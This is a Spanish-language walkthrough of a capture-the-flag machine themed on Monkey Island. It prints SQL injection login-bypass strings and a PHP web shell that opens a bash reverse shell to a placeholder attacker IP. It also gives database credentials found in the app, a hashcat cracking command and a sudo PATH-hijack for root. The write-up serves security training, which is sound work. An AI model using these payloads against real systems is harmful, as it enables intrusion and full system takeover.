Cómo resolver monkey vuln machine
Es importante tener en cuenta que el siguiente post contiene spoilers y revela la solución a una máquina de CTF. Si aún no has resuelto la máquina y quieres hacerlo por ti mismo, te recomendamos que no sigas leyendo. ¡Buena suerte resolviendo la máquina!
Descarga la máquina aquí
En los eventos de CTF, los participantes tienen como objetivo encontrar vulnerabilidades en sistemas y aplicaciones para obtener acceso no autorizado y, en última instancia, encontrar la “bandera” o la respuesta a un desafío en particular. En este post, veremos cómo resolver una máquina de CTF siguiendo una serie de pasos.
Bypass de login
En primer lugar, intentaremos acceder a la aplicación utilizando una técnica de “Bypass de login”. Para ello, se pueden utilizar las siguientes inyecciones de SQL:
test ' or 1 = 1 -- test
' or 'a' = 'a' --
Estas inyecciones explotan una vulnerabilidad en el código de la aplicación y permiten acceder sin necesidad de proporcionar las credenciales correctas.
Subida de ficheros
Una vez dentro de la aplicación, podemos aprovechar una vulnerabilidad de subida de ficheros para subir un archivo que nos permita establecer una conexión de “Reverse Shell”. Para ello, podemos utilizar un archivo PHP con el siguiente contenido:
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/IP_DEL_ATACANTE/PUERTO 0>&1'");
?>
Debemos sustituir “IP_DEL_ATACANTE” y “PUERTO” con nuestra propia dirección IP y un puerto que esté disponible para la conexión.
Conexión base de datos
Una vez que hemos conseguido una Reverse Shell, podemos buscar las credenciales de conexión a la base de datos en el código de la aplicación. En este caso, encontramos las credenciales en el archivo login.php
.
Utilizamos las credenciales para conectarnos a la base de datos mediante el siguiente comando:
mysql -h mariadb -u Threepwood -pmonkeyisland user_db
Descifrando hashes
Dentro de la base de datos encontramos un archivo de hashes. Para descifrarlos, podemos utilizar la herramienta hashcat
y una lista de palabras comunes. El comando para descifrar los hashes en el archivo hashes.txt
utilizando la lista de palabras rockyou.txt
sería:
hashcat -m 0 hashes.txt /usr/share/wordlist/rockyou.txt
Escalada de privilegios
Finalmente, para escalar nuestros privilegios, buscamos en el sistema algún comando que podamos ejecutar con permisos de super usuario. En este caso, encontramos un script llamado find_chest.sh
que se puede ejecutar como super usuario sin necesidad de introducir una contraseña. Además, este script utiliza la variable cat
de forma relativa, lo que significa que podemos manipular la variable $PATH
para ejecutar cualquier comando con permisos de super usuario. Para ello, ejecutamos el siguiente comando:
sudo PATH=$(pwd):$PATH /home/Guybrush/find_chest.sh
Con esto, conseguimos ejecutar el comando que queramos con permisos de super usuario, lo que nos permite completar el desafío.